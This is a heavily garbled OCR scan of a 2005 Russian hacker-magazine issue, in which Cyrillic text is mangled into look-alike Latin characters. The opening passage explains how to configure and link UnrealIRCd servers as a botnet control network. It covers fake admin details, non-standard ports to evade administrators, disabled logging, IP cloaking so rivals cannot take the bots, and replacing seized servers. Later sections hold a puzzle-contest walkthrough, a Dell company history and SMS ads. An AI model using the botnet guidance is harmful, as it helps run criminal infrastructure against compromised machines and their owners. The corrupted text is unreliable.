іпеТсІ. Затем перенеси модули сіоак.о и соттапРз.о в оговоренную ранее папку, а так- 
же возьми ехатрІе.сопТ из дистрибутива ипгеа111?СЭ (каталог бос). Пожалуй, теперь все 
готово для редактирования конфига. 

[параноидальная настройка конфига] Конфиг от Е1пгеа111?СЭ состоит из нескольких незави- 
симых блоков. В 1 <а>кдый могут быть внесены подблоки, а таіоке переменные и их значения. 
Самое первое, что необходимо сделать, это прописать инклуды на модули. Раскомменти- 
руй соответствующие строки и радуйся жизни :). Затем заполняется блок те {}. В нем нахо- 
дится информация о ІРС-сервере. Думаю, понятно, что домашний адрес и телефон бот- 
мастера мы давать не будем. Ограничимся лишь заданием трех переменных: пате со 
значением «Ігс.з\л/ее1'іу.пе1‘» (или любым другим дружелюбным именем, необязательно су- 
ществующим в сети), іп(о, имеющую значение «ЗѵѵееІ'Іу ІРС Зегѵег», а таіоке питегіс — уни- 
кальный номер сервера. Надо заметить, что у всех серверов, находящихся в одной ІРС-се- 
ти, не должно быть совпадающих номеров. Иначе они попросту не залинкуются. 

Далее следует блок абтіп. Не рекомендую вписывать сюда твой реальный ник. Лучше на- 
пиши какое-нибудь фейковое описание администратора, например «АІехапбегЗ. РизПкіп» :), 
Затем идут объявления классов сііеп/з и зегѵегз. Я думаю, ты понял, 
что это настройки серверов и клиентов. Здесь можно оставить все 
по дефолту, лишь изменив количество клиентов на большее число 
(боты, как-никак). Размеры буферов и время пингов лучше оста- 
вить как есть. Чуть ниже объявляется секция а11о\л/, позволяющая 
открыть доступ лишь с определенных ІР. Нам эта затея ни к чему, 
поэтому объявляй абсолютный изегілозі" в виде *@*. А вот последу- 
ющий блок а11о\л/ сНаппеІ может бытъ очень полезен. 

Теперь настало время поговорить об ІРС-операторах. В нашей 
приватной сети иркопы должны быть наделены всеми правами, 
однако следует позаботиться, чтобы левый хакер не стал опера- 
тором. Для этого нужно объявить всего один блок орег МАМЕ (где 
МАМЕ — имя иркопа) со следующими вложенными переменными: 
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* !гот { изегИозІ изег@Ноз1; }. Обязательно укажи здесь свой ібеШ и 
(іозіпате, так как парольную защиту очень просто обойти. Любой 
заинтересованный человек может написать брутфорс либо каким- 
то образом войти на сервер и прочитать конфиг. 

* раззѵѵогб НАЗН { сгурі; В этой конструкции НАЗН имеет вид 
□ЕЗ-хэша, а сгурі означает метод шифрования пароля. Здесь необ- 
ходимо отметить, что шифрование пароля обязательно, а метод 
можно выбрать более криптостойкий — тс15 или зИа1 , например. 

* (Іадз {пеіабтіп; сап_дкііпе; дІоЬаІ; Достаточно этих флагов, что- 
бы администратор не чувствовал себя ущемленным в правах. Впро- 
чем, можешь посмотреть мануал и добавить избыточные. 

С операторами разобрались. 

Теперь следует обратить вни- 
мание еще на пару блоков. Во- 
первых, нужно объявить порт, на 
котором будет вертеться ігссі. 

Это делается с помощью 
конструкции «ІізТеп ірірогТ», Нас- 
тоятельно рекомендую выбрать 
нестандартный порт, чтобы не 
притягивать внимание админи- 
страторов и хакеров (разуме- 
ется, если твои боты понимают 
нестандартные 1Г?С-порты). И 
наконец, самый важный блок 
под названием зеі" должен быть 
настроен с особой тщатель- 
ностью. Здесь можно увидеть 
глобальные опции. Обсудим 
самые важные из них. 

Ш пе+у^/огк-пате "3\л/ееШЕТ". 

Здесь мы объявляем имя сети. 

Разумеется, лучше воздержатъ- 
ся от названий «ВоШЕТ» и т.п, :). 

\г} ІтісІсІепІіоз1'-рге(іх "з^ееР'. 

Этот префикс будет фигуриро- 
вать в ІР-адресе пользователя. 

После этой частицы можно бу- 
дет увидеть рандомное число, 
а уже затем какую-то часть ре- 
альной сети. Данная особен- 
ность будет весьма кстати — никто не узнает твоего ІР-адреса и не 
сможет переманить ботов на свою сторону. 

[з] сіоак-кеуз {}. В этом блоке необходимо указать три рандом- 
ные фразы. Первый пример дан, аналогично сформируй еще 
два. Данная опция нужна только для генерации случайного 
префикса в ІР-адресе. 

Щ кііпе-осісігезз "ааѲЬЬ.пеІ"". Здесь необходимо указать почту к- 
Ііпе поддержки. Если этого не сделать, ігссі не запустится, поэтому 
впиши сюда какой-нибудь фейковый, но правдивый на первый 
взгляд адресок. 

® гпосіез-оп-соппесі Чіх\л/". Эти режимы лучше оставить по умол- 
чанию. Обязательно ставь пользователям (читай ботам :)) моду -ні, 
иначе любой встречный хакер может узнать его ІР-адрео. 

[б] тахсіпаппеізрегизег 1. Я намеренно установил лимит каналов 
равным единице. Это может быть полезно, чтобы случайно зашед- 
шие пользователи не устраивали чат на твоей территории (всякое 
бывает, поверь мне :)). 

0 орег-опІу-з1'а1'з "ок(6зМР11Ее11СХ2сЮ". Эта опция запреща- 
ет пользователям юзать команду /зМв. Здесь я объявил все 
допустимые режимы, поэтому будь уверен, что никто не смо- 
жет запросить список операторов либо посмотреть состоя- 
ние серверов в сети. 

5] орЕІогіз { (ІаПтар; }. Этот параметр является очень полезным. 
Он записывается во вложенном блоке и нужен для запрещения 
связей между серверами. Скажем, выполнит юзер команду 
/иМКЗ, а в ответ получит несвязную цепочку из серверов. Конеч- 
но, абсолютной защиты эта надстройка не дает, но лишней 
точно не будет, 

В конфиге таіоке может присутствовать блок Іод {}, но устанавли- 
вать его не рекомендую, поскольку на сервере не должно быть 
логов. В первую очередь ботоводы просят вырубить всяческие ло- 
ги. Действительно, без них будет намного безопаонее. 



[запуск и линковка] Когда конфиг настроен, можно попробовать за- 
пуотить ігссі. Зайди в каталог І^тр/.тс-гооі, затем скомандуй ехроіі 
РАТН=.:$РАТН и набери слово «Іпе+сІ». Махинация с патчем избавит 
тебя от относительного пути в описке процессов. Если в конфиге нет 
ошибок, то демон запуотится. Теперь можешь подключаться к 1Г?СО 
и проверять орег-аутентификацию, настройки конфиго и т.п. 

ЕІо ты понимаешь, что сеть из одной машины — не сеть. Чтобы со- 
единить несколько однотипных серверов, необходимо повторить 
весь процесс установки на других машинах. Но последующие 
инсталляции будут намного проще, ведь все отредактированные 
конфиги у тебя на руках. Когда у тебя будет как минимум один хаб 
и один лиф, можешь попытатьоя их слинковать. 

Перед началом линковки убедись, что опции питегіс в секциях те 
{} имеют разные значения. Об этом я уже писал, но это 
очень распространенная ошибка. Затем необходимо 
правильно ооставить блок Ііпк "имя. сервера". Здесь имя 
— название машины, к которой производитоя линк, 
опять же, необязательно существующее в сети, но явно 
прописанное в секции те {}. В этом блоке нужно ука- 
зать переменные кюзітіате (ІР-адрес сервера), рогі" 
(порт, который слушает ІЛСО) и два пароля: разз\л/огс1- 
соппесЕ и раз5\л/огсІ-гесеіѵе (рекомендую сделать их 
одинаковыми во всех конфигах, чтобы лишний раз не пу- 
таться). Здесь же обязательно находится опция ІтиЬ *; 
или ІеаЕ *, объявляющая тип сервера. Помимо этого, в 
секции может находиться вложенный блок сіазз {} с па- 
раметром аиЕосоппесЕ. Это дело лучше прописать в конфиге хаба. 
ВсеІ Теперь можешь командовать /соппесЕзегиег.пате на любом 
сервере, и ты увидишь, как оба ІРСЭ поспешно олинкуются в еди- 
ную сеть. Я рекомендую впуокать ботнет в ІРС, когда число серве- 
ров будет достигать четырех-пяти. 

[следим за безопасностью] Рано или поздно оерверы начнут закры- 
вать. Несмотря на маскировку, никто не застрахован от потерь. Ес- 
ли такое случилооь, быотро установи софт на другой сервер и ком- 
пенсируй потерю. Вообще, я советую держать в сети как минимум 
два рабочих хаба, чтобы никогда не потерять целостность сети. 

Вот, собственно, и все. Тема ботнета на этой статье не заканчива- 
ется. Я бы с удовольствием рассказал тебе о том, как обслуживать 
стадо ботов, искать затаившихся врагов в списке пользователей (а 
такие будут точно), а таіоке защищать ботнет от нежданных гоотей. 
Однако объем материала не позволяет мне этого оделать. Еоли 
тебя интересуют вопросы по ботам, можешь присылать их на мы- 
ло, и я обязательно проконсультирую тебя в порядке очереди :) 0 




[собираем сеть воедино] 



[ДОЛОЙ НЕЦЕНЗУРЩИНУ!] 

ипгеаІІВСО способен заменять плохие слова на <сеп- 
50гес1>. Давай посмотрим, как нам может пригодиться 
эта фича. Для запроса к боту обычно используется 
строка авторизации (когда я был ботмастером, эта 
строчка выглядела как «ІаиІИ ключ»). Можно сделать 
замену слова «ІаиІІт» на «сепзогесі» и таким образом 
запретить простым смертным мучить ботов. Однако не 
все так просто: замена производится, даже если ты 
иркоп и при наличии мода +0 на канале или 
пользователе. Поэтому, если есть желание юзать 
цензор, нужно пропатчить исходники ІВСО и вставить 
условие наличия флага оператора в процедуру 
автозамены. Я это проделал, а вам слабо? :) 




[конфигурируем ІВСО для компиляции] 



[торжественный запуск ІВСО] 




[слово о безопасности] 







Ну что, готов к новому конкурсу? Нет? Не хвата- 
ет знаний в области хака? Ну и ладно, забей 
на хак в этом месяце — на дворе лето, надо 
развлекаться :). Чтобы пройти июньский кон- 
курс, совсем не обязательно быть хакером — 
тебе предстоит разобраться с заковыристым 
и очень интересным квестом. Так что если ты 
отличаешься догадливостью и сообразитель- 
ностью, то у тебя есть реальный шанс быть оп- 
ризованным редакцией, ведь для этого нужно 
всего-навсего выполнить задание первым. Кто 
сказал, что это сложно? Бегом на расіопак.ги 
за призом! А сейчас, для любопытных, о 
том, как надо было проходить майский кон- 
курс. Напомню, надо было вернуть прек- 
расной фемине пароль к почтовому яідику 
о1еа8787@Ьк.ги. Все делается за шесть шагов: 

[Ц Пишем туда письмо — мгновенно получаем 
геріу от автоответчика: «Быть может, Оля на год 
старше? :)». Принимаем информацию к све- 
дению. В квестах не бывает вещей, которые 
никогда и нигде бы потом не пригодились. 

[Ц Вполне логичный шаг — попытаться по- 
добрать пароль к ящику. Воспользуемся 
системой напоминания пароля МаіІ.ги. 
Ага, секретный вопрос звучит так: «Напи- 
сать в 1074580185 на 4494218996». Что бы 
это могло значить? Очевидно, что первое 
число отвечает за какую-то службу, а вто- 
рое — за номер, принадлежащий ей. 



[з] Работаем с первым числом и приходим к выводу, что это обычный ІР'шник в 
форме ЮМѲ ІР. В этом можно убедиться, если вбить в командной строке «ріпд 
1074580185». 64.12.202.217 — делаем лукап и получаем адрес вроде 
ЫаЫаЫа.іср.сот. Ага! Значит, нужно искать аську со странным номером 
44942218996. Не много ли знаков? Но если ты внимательно читал статьи в нашем 
журнале, посвященные секретам 1СО, то догадаешься вычесть из этого числа 
2Л32 и получить нужный номер: 199251700. 

И В деталях номера мы узнаем такие данные, как дата рождения (3 июня 1987 
года), домашний сайт {Мпі.]адиаг.$и/ш) и отрывок из какой-то песни в АЬоиІ. 
Заходим по ссылке и видим формочку для ввода пароля. Пробуем ввести 
03061987 — йес! Сервер отвечает нам: «Архив лежит тут: 

Шр://Іі1пІіадиаг.зи/агІіееѵ.гір«. Скачиваем архив... Он запаролен. А где взять 
пароль? Значит, пригодится песня. Вбиваем в яндекс куплет и узнаем, что пес- 
ня называется «МТБ — Когда хоронят молодых». «Когда хоронят молодых» к архи- 
ву не подходит :(. Зато он отлично прокатывает в ту же формочку на / 222 , и мы по- 
лучаем новую бесценную информацию: пароль от архива — 
ТТ4097сІ5АР5ІОѴЗроу88Р779@. 

[ 5 ] Вытаскиваем из архива файл х-копкиг8 и после недолгих манипуляций узнаем 
в нем фотошоповский .РЗО. Ищем последний ОѴО к журналу, ставим фотошоп и 
открываем картинку — черный квадрат. Но вот еще какой-то текстовый слой, при- 
чем скрытый. Открываем его. Все равно ничего не видно :(. Попробуем отредак- 
тировать. Оба-на: 55597329с1з97! Просто текст был черным по черному, всего-то. 

[6] Поочередно пробуем 555973296897 паролем ко всему, чему можно, и раду- 
емся, когда комбинация подходит к ящику оіеа8686@Ьк.ги. Почему 8686? Фразу 
«А может, Оля на год старше? :)» помнишь? Во-во. Заходим внутрь ящика... дол- 
го копаемся, ищем какие-нибудь скрытые письма — ничего! Наконец мышка 
сама тянется к записной книжке, где мы и находим новый адрес Оли — 
оІда\л/аІ1‘!пд4!оѵе@та!!.ги, куда нам и следует написать со своего мыла, чтобы 
подтвердить победу © 



[хакер 06 [78] 05 > ВЗЛОМ 079 ] 





ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 



Майкл Делл 





НЕСМОТРЯ НА ТО ЧТО КОМПАНИЯ ОЕЕЕ ИЗ- 
ВЕСТНА МЕНЬШЕ, ЧЕМ МІСРОЗОРТ, СРЕДИ 
ПРОИЗВОДИТЕЛЕЙ КОМПЬЮТЕРНОЙ ТЕХНИ- 
КИ ОНА ЗАНИМАЕТ ТАКОЕ ЖЕ МЕСТО, КАК 
МІСРОЗОРТ СРЕДИ ПРОИЗВОДИТЕЛЕЙ ОПЕ- 
РАЦИОННЫХ СИСТЕМ. В 1984 ГОДУ, КОГДА 
ПОЯВИЛАСЬ ОЕЕЕ СОМРЦТЕР, ЕЕ КАПИТАЛ 
СОСТАВЛЯЛ $1000. ЧЕРЕЗ 20 ЛЕТ ОН НАСЧИ- 
ТЫВАЛ ДЕСЯТКИ МИЛЛИАРДОВ ДОЛЛАРОВ. 
КАК УДАЛОСЬ МАЙКЛУ ДЭЛЛУ, ОТЦУ-ОСНО- 
ВАТЕЛЮ КОМПАНИИ, ДОБИТЬСЯ ТАКОГО УС- 
ПЕХА? ОБ ЭТОМ РАССКАЗЫВАЮТ ВО МНО- 
ГИХ БИЗНЕС-ШКОЛАХ МИРА. ОБ ЭТОМ РАС- 
СКАЖУ И Я I тіпсіѵуОгк (тіпс1\л/0гк@датеІапсІ.ги) 



История компании 
□еІІ Сотриіег 

[предприимчивый Майкл] В 1965 году в го- 
роде Хьюстон (Техас) в обычной амери- 
канской семье Дэллов появился на свет 
мальчик, которого назвали Майклом. Роди- 
тели его были людьми достаточно обеспе- 
ченными (мать — дантист, отец — бирже- 
вой маклер), но игрушками сына особо не 
баловали, и парню приходилось добывать 
себе средства на развлечения самому. В 
12 лет Майкл заболел филателией и стол 
принимать активное участие в обмене и 
торговле марками на специализированных 
аукционах. Он быстро сообразил, что мар- 
ки могут принести неплохие деньги, если 
хорошо разбираться в предпочтениях фи- 
лателистов и уметь выгодно купить и про- 



дать товар. Но все эти операции проходили через чужие руки вла- 
дельцев аукционов, а Майклу хотелось иметь непосредственную 
связь с покупателями. И в 1977 году он основал свой собственный 
филателистский аукцион Дэлла, разрекламировав его в прессе и 
пригласив в помощники друзей. Таким образом 12-летний пар- 
нишка заработал $2000. 

В 16 лет Майкл устроился на летнюю работу распространителем 
подписки на газету Ноизіоп Розі. В редакции ему дали список лю- 
дей, предоставленный телефонной компанией, — юный Дэлл дол- 
жен был обзванивать их, рекламируя издание. Его респонденты 
делились но две категории; люди, которые с удовольствием под- 
писывались но газету, и которым это не было нужно. Очень скоро 
Майкл заметил, что к числу первых в основном принадлежали мо- 
лодожены и приехавшие издалека новоселы. Сообразив, что 
намного проще работать именно с этой категорией, Майкл нанял 
нескольких своих школьных приятелей, чтобы они находили ему 
таких людей. Также он договорился с юристом, чтобы тот снабжал 
его телефонами клиентов, обратившихся к нему по поводу женить- 
бы. После этого уровень продаж заметно возрос, и к концу года 
Майклу удалось заработать 1 8 тысяч долларов — больше, чем за- 
работал его школьный учитель. Эти деньги пошли на покупку соб- 
ственного автомобиля. 

Когда настало время поступать в институт, Майкл переехал в 
Остин и успешно сдал экзамены в Техасский университет. Своей 
специальностью он выбрал биологию, но учеба привлекала его 
намного меньше, чем перспектива делать бизнес. Как раз в это 
время в США начался бум персональных компьютеров, и Майкл 
не остался в стороне. У него уже был свой Арріе II, который он в 15 
лет модифицировал. Тогда он это сделал просто для удоволь- 
ствия, чтобы проверить свои силы. Но теперь решил заняться этим 
всерьез и к концу учебного года оснавал компанию РС'з ЕІгпІІесІ. 
Получив лицензию, Майкл стал торгавать персоналками, котарые 
собственнаручно дорабатывал и апгрейдил. Уже тогда он заявил, 
что собирается соперничать с ІВМ, хотя до настоящего успеха 
еще было далеко. 




[сердце компании ОеІІ Іпо.] 



[ОеІІ Сотриі'ег Согрога+іоп] Изучая компьютерный рынок, Майкл 
Дэлл заметил, что компьютер попадает от производителя к поку- 
пателю через длинную вереницу посредников. Конечно, это ска- 
зывалось на цене персоналки. Стоимость деталей на производ- 
стве могла быть $700, а в магазины компьютер поступал по цене 
$3000. Майкл считал, что такой подход неправильный, что рабо- 
тать нужно напрямую с конечным покупателем, без посредниче- 
ских услуг. Это позволяло бы сэкономить на перевозках и хране- 
нии, в результате которых техника часто ломалась или портилась, 
а также на оплате услуг людей, без которых можно обойтись. 

В 1984 году «гаражная» компания РС'з итііесі получила новое 
гордое название: ОеІІ Сотриіег. Имевшиеся на руках $1000 19- 
летний Майкл Дэлл потратил на покупку компьютерных запча- 
стей, используя которые, модифицировал старые модели РС и 
продавал их по более высокой цене. И поскольку Дэлл не при- 
бегал к услугам реселлеров и прочих дистрибьюторов, цены на 
его компьютеры были на порядок ниже, чем в магазинах. К тому 
же, он предоставлял покупателям самим выбирать начинку их 
будущего компьютера. 

Клиенты находили его через объявления в журналах, и связь всег- 
да проходила по телефону. Вряд ли на покупателей произвел бы 
положительное впечатление вид «офиса» — комнаты в общаге, 
захламленной железками и бумагами. 

Подход, который выбрал Майкл, оказался очень удачным. Уже в 
первые месяцы работы ему удалось заработать на продажах 180 
тысяч долларов. Бизнес полностью охватил все мысли парня, что 
не самым лучшим образом сказывалось на учебе. В конце концов 
наступила необходимость сделать выбор — или университет, или 
компания. Дэлл без сомнений выбрал второе. Только через два 
года, когда родители Майкла увидели, насколько успешным стал 
их сын, они одобрили его выбор. 

Бизнес Майкла Дэлла держался на принципе «все для клиента». 
Когда у покупателя ломался компьютер, ему нужно было только 
позвонить, и сотрудник ЭеІІ Сотриіег приходил буквально в тот же 
день и устранял неисправность на месте. В то время как технику, 
купленную в других компаниях, обычно приходилось доставлять в 
офис своими силами. Основную массу клиентов в первые годы 
составляли компьютерные энтузиасты и продвинутые юзеры. Ког- 
да компания расширилась и стала известной, на нее обратили 
внимание корпоративные пользователи. Молодая фирма предо- 
ставляла более выгодные условия по сравнению с той же ІВМ, и 
качество ее услуг не вызывало нареканий. 

В середине 1985 года ЭеІІ Сотриіег уже владела мультимиллион- 
ным капиталом и приступила к созданию собственных моделей 
РС. Первым стал компьютер ТигЬо с процессором 8085, работаю- 
щий на частоте 8 МГц. За ним последовали другие, а в 1989 году 
компания представила свой первый ноутбук. 

На протяжении 80-х годов теперь уже ОеІІ Сотриіег СогрогаІІоп 
работала исключительно на территории США. В 1990 году впер- 
вые в истории компании появился европейский филиал в городе 
Лимерик, Ирландия, Предполагалось, что он будет снабжать про- 
дукцией ОеІІ европейцев, африканцев и жителей СССР, Это было 
значительным событием для компании, так как именно с этого 
офиса началось завоевание компьютерами ОеІІ всего мира. Че- 



рез два года после ее выхода за рубеж 
известный топ Рогіипез 500 включил ОеІІ 
Сотриіег СогрогаІІоп в список крупней- 
ших компаний мира. 

Но не все было гладко. Руководство ком- 
пании постоянно экспериментировало, 
внедряя новые технологии и способы 
распространения, и не всегда они были 
удачными, В 1991 году Майкл попробовал 
продавать продукцию своей компании 
через компьютерные клубы и магазины, и 
затея эта с треском провалилась. Также 
ОеІІ Сотриіег разрасталась быстрее, 
чем планировалось. А чем больше ком- 
пания, тем больше проблем. Ссновной 
проблемой ОеІІ была нехватка налично- 
сти, ведь все деньги пускались в оборот. 
Когда стало понятно, что если этим не за- 
няться всерьез, то можно поставить под 
удар будущее компании, Майкл Дэлл 
пригласил на работу лучших менедже- 
ров страны. Некоторых пришлось пере- 
манить из больших корпораций (8ип, Мо- 
ІогоІа), пообещав более выгодные условия. Том Мередит — веду- 
щий специалист по продажам — проанализировал состояние дел 
в ЭеІІ и сделал заключение, что нужно прекратить розничную про- 
дажу. К этому времени ЭеІІ уже работала с крупными дистрибью- 
торами, но по старинке продавала технику и в розницу. Из-за это- 
го возникал конфлиіа интересов — продукцию ОеІІ часто придер- 
живали на складах. После того как компания полностью перешла 
на оптовые продажи, ее финансовое состояние улучшилось, и ОеІІ 
Сотриіег СогрогаІІоп могла развиваться дальше. 

В интервью журналу Зиссезз Майкл сказал: «Когда компания 
растет слишком быстро, нужно быть осторожным в дальней- 
шем развитии, потому что если ты хочешь все и сразу, ты не 
можешь полностью контролировать компанию и анализиро- 
вать имеющуюся инфраструктуру. И поэтому не сможешь 
быть успешным». 

[ОеІІ в наши дни] С появлением 
интернета ОеІІ Сотриіег стала 
одной из первых использовать 
его для распространения своей 
продукции. С 1996 года любой 
желающий мог заказать компью- 
тер ОеІІ прямо на сайте компании 
ѵтл/ѵ.сіѳіі.сот. Там же осугдест- 
влялась поддержка пользовате- 
лей, давались ответы на часто за- 
даваемые вопросы, приводи- 
лись характеристики предлага- 
емых компьютеров. Покупателю 
нужно было только определить 
конфигурацию, оплатить по кре- 
дитке товар и > 1 <дать, пока его до- 
ставят на дом. Объем продаж че- [действующий президент ОеІІ 
рез интернет праістически сразу Кевин Роллинс] 




[официальный сайт когипании \л/ѵѵѵѵ.сіеІІ.сот] 
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достиг миллиона долларов в неделю, а через четыре года этот пока- 
затель составил 50 миллионов долларов в день, что превысило 50% от 
общего оборота. Таіоке в рамках ОеІІ Сотри+ег было сформировано 
несколько отделов, ка>кдый из которых ориентировался на своего 
клиента: домашних пользователей, корпоративных, малый бизнес, 
правительство, образовательные и медицинские учре>кдения. 
Одновременно с расширением своих европейских офисов ОеІІ 
Сотри+ег создала отделения в Японии, Китае и других восточных 
странах, где, несмотря на большую конкуренцию, продукция ком- 
пании пользовалась высоким спросом. К 2000 году ОеІІ Сотри+ег 
стала номером один среди ме>кдународных поставщиков ком- 
пьютерной техники, о также ведущим американским производи- 
телем. Занимая 9% всего компьютерного рынка, компания опере- 
жала такие бренды, как Не\л/1е'Н'-Раскагс1, ІВМ и Согпрад. 
Параллельно с разработкой новых ноутбуков (наиболее извест- 
ные серии — ІаІІ+исІе и Іпзрігоп) и серверов (Ро\л/егЕс1де, РгесІ- 
зіоп, Ро\л/егѴаиІ1') ОеІІ Іпс., как стала называться компания, начала 
осваивать альтернативные рынки. В 2002 году был представлен 
первый наладонник от ОеІІ — Ахіт Х5, который, благодаря своей 
цене и функциональности, заслужил огромную популярность. 
Общий оборот компании к концу этого года составлял 35 мил- 
лиардов долларов. 

Сейчас ОеІІ Іпс. — это огромный концерн, который выпускает РС, 
ноутбуки, сетевые комплектующие, мощные рабочие станции, прин- 
теры, системы хранения информации, серверы, КПК, птрЗ-плееры, 
плазменные мониторы и множество другой продукции. Таіоке в рам- 
ках ОеІІ организованы курсы для ІТ-профессионалов и менеджеров, 
где преподают лучшие специалисты в этой области. Как и много лет 
назад, Майкл Дэлл продолжает использовать свою модель: от про- 
изводителя прямиком к покупателю, минуя посредников. 

Майкл выполнил свое обещание — он не только соперничает с 
ІВМ, ему удалось превзойти ее, Іпс. Мадагіпе назвал его «Пред- 
принимателем года», РС Мадагіпе — «Человеком года», подобные 
звания ему вручали и многие 
другие авторитетные издания. В 
конце 90-х он был завсегдатаем 
Тор 25 менеджеров мира. 

Майкл также входит в десятку 
самых богатых людей на плане- 
те. Неплохо для парня без вы- 
сшего образования, начинав- 
шего с нуля. В 1999 году он напи- 
сал книгу «Лично от Дэлла: стра- 
тегии, которые произвели рево- 
люцию в промышленности», и 
она сразу стала бестселлером. 

Сстонавливаться на достигнутом 




к концу 2005 года поднять уровень продаж до 50 миллиардов в год. 

В 2004 году Майкл Дэлл объявил, что оставляет пост президента 
компании, назначив на это место Кевина Роллинса, который с 
1996 года занимал в ОеІІ руководящий пост и помогал внедрять эф- 
фективные стратегии продаж. Сам Майкл продолжает принимать 
активное участие в делах компании, являясь главой правления. 
ОеІІ Іпс. на данный момент является крупнейшим производите- 
лем компьютерной техники в мире и крупнейшим международ- 
ным поставщиком РС © 




[ОеІІ Ахіт Х50] 








КЕРВИС 




Офшор 



с 



РАСШИФРОВКА ТЕРМИНОВ 
КАРТИНКИ ДЛЯ МОБИЛЬНОГО 
ОТВЕТЫ НА ТВОИ ВОПРОСЫ 
ВИКТОРИНА С ПРИЗАМИ 



Хочешь узнать, что значит термин? 



Хочешь узнать ответ на вопрос? 



Пришли код вопроса (к примеру, "ѵѵ0082") на номер 4445. 



Как стать автором журнала "Хакер"? (код ѵѵ0082) 
Какую дурь курит Бублик? (код ѵѵ0164) 

Есть ли в редакции голубые? (код ѵѵОІбБ) 

Когда Лозовский лотеряет девственность? (код ѵѵОІбб) 



Задай свой прикольный вопрос! Пришли вопрос на номер 4448 в виде 
98 1ех1_ѵорго5а (например "98 Есть пи в редакции голубые?"). Ме более 
160 символов латиницей или 70 символов кириллицей. 



|{ Хочешь фирменный лого на свой сотовый? 

Пришли код логотипа (к примеру, "1001") на номер 4446. ^ 






1040 1041 1018 1025 1032 1038 

1005 1012 1046 1026 1033 1039 



1006 1042 1020 1027 



Пришли код термина (к примеру, "ѵѵОООІ") на номер < 



драйвер 



компилятор 



дескриптор 



идентификатор 



I ѵѵОООІ) I 
[ѵѵОШ)2)| 
I «0003)1 
(код «0004)1 
(код «0005)1 
(код «Ш)б)| 
рд «0007)1 



транзакция 



архитектура 



подсеть 



демон 



эксплоит 



сервис пак 



!«0013) 

) «0014) 
5д «0015) 
^^16) 
5 і 7) 
5д «0018) 

" I «0019) 
(код «0020) I 
(код «0021)_[ 
(код «0022 
(код «0023) 
(код «0023) 
(код «0025) 
_ѵ0026) 

I «0027) 



парсер 



инициализация 



кодировка 


1 


визуализация 


снисрер 






кеилоггер 





отладчик 



эмулятор 



роутер 



прокси 



редирект 



оболочка 



юстировка 



конвертер 



коаксиал 



транспондер 



поляризация 



модератор з 
флейм 



сплиттер 



I «0030)1 
^«0038)1 
«0040)1 
(код «0041) [ 
I (код «0042) 
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Пришли свои термины на номер 4445 в виде 98 
•егшіпі (например "98 баг"). Не более 160 
символов латиницей или 70 кириллицей. 



Подробности: ««и.і-ігее.ги, (095) 916-7253, (812) 118-4575, зиррогШІ-Ігее.ги. Для заказа картинок включи услугу ѴѴАР/6РР$-доступа в Интернет (оплачивается 



согласно твоему тарифному плану). Проверить возможность закачки можно, зайдя на «ар-сайт 1т11:р://4446.ги. В случае ошибки уточни настройки в службе 



поддержки твоего оператора. Стоимость запроса на номер 4444 - $0,30 без учета налогов, на номер 4445 - $0,60 без учета налогов, на номер 4446 - $0,90 без 



учета налогов, на номер 4449 - $3,00 без учета налогов. В случае ошибочного запроса услуга считается оказанной. 
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Элита рунѳта 

РУНЕТ СЕГОДНЯ — РАЗВИВАЮЩАЯСЯ 
И ПРИБЫЛЬНАЯ ИНФРАСТРУКТУРА. ДОМАШ- 
НИЕ СТРАНИЧКИ И УЗКОСПЕЦИАЛИЗИРОВАН- 
НЫЕ ПОРТАЛЫ, НОВОСТНЫЕ ЛЕНТЫ 
И СЕТЕВЫЕ ДНЕВНИКИ, АРХИВЫ ПРОГРАММ И 
ОНЛАЙНОВЫЕ БИБЛИОТЕКИ... МИЛЛИОНЫ 
САЙТОВ НАПОЛНЯЮТ ГЛОБАЛЬНУЮ СЕТЬ ОТЕ- 
ЧЕСТВЕННЫМИ КОДИРОВКАМИ. И ДАЛЕКО НЕ 
ПОСЛЕДНЮЮ РОЛЬ В ЖИЗНИ РУНЕТА ИГРАЕТ 
СООБЩЕСТВО ПОД НАЗВАНИЕМ «ЕЖЕ» I 

Илья Александров (ѵу\ллл/.Ііѵе]оигпаІ.сопп/изег5/іІуа_аІехапсігоѵ) 



История и реалии 
ЕЖЕ-движения 

[история] в 1997 году некий Александр 
Малюков на страницах ІІіигпаІ.ги создал 
проект «Вопрос дня», в котором обсужда- 
лись самые интересные события в мире 
за минувшие сутки. Конечно, автору хоте- 
лось раскрутить свой ресурс. И тут роди- 
лась идея объединить все постоянно об- 
новляемые русскоязычные сайты в еди- 
ную сеть. Ежедневное наполнение этих 
сайтов информацией определило назва- 
ние — «ЕЖЕ». Все они обменивались бан- 
нерами, всячески поддерживали друг 
друга, а 19 марта 1997 года было офи- 
циально объявлено о создании сообще- 
ства, которое на тот момент насчитывало 
семь интернет-изданий. После этого 
«ЕЖЕ» стало быстро развиваться, все 
большее количество людей выражало же- 



лание вступитъ в комьюнити. И в конце концов «ЕЖЕ», ранее хо- 
стившееся на журнал. ру, перебралось на собственный сайт — 
егііе.ги, который существует и поныне. 

[движение] Теперь союз «ЕЖЕ» объединяет людей, активно уча- 
ствующих в развитии рунета и добившихся в этом определенных 
успехов. «ЕЖЕ» проводит различные конкурсы, определяет луч- 
шие сайты, передовых рунетчиков, борется со спамом и плаги- 
атом (имена нарушителей заносят в черный список на всеобщее 
обозрение), анализирует тенденции развития интернета. А про- 
екты «ЕЖЕ»: «ЕЖЕ-правда», ЕЖЕдневки, ЕЖЕнедельники — известны 
многим рунетчикам. Сообщество поддерживает все акции и ор- 
ганизации, созданные для популяризации интернета в России. По 
мере сил оказывает техническую и рекламную помощь ресур- 
сам, возникшим сравнительно недавно и еще не имеющим широ- 
кой известности. Если ты ищешь совета или критического отзыва 
по поводу своей хоумпаги — там тебе, скорее всего, помогут, как 
многим другим молодым проектам, упомянутым на страницах 
«ЕЖЕ». Естественно, все это при условии, что твой сайт интересен 
и полезен. Личный порносайт раскручивать будешь сам :). 

В поддержке «ЕЖЕ» принимают участие жители самых разных 
стран: России, Финляндии, Белорусии, Германии и многих других. 
Ведь обязательное требование одно — твой интернет-проект дол- 
жен быть на русском языке, а национальность и место жительства 
автора здесь роли не играют. 

Влиться в движение может любой желающий. Здесь найдется ме- 
сто и программистам, и дизайнерам, и журналистам — всем, кто 
имеет отношение к рунету. Для вступления необходимо написать 
письмо основателю и идеологу «ЕЖЕ» Александру Малюкову 
(сат@ѳгІіѳ,ги) и рассказать, что ты хочешь делать в комьюнити: 
подписаться на мейл-лист, попросить поддержки своего ресур- 
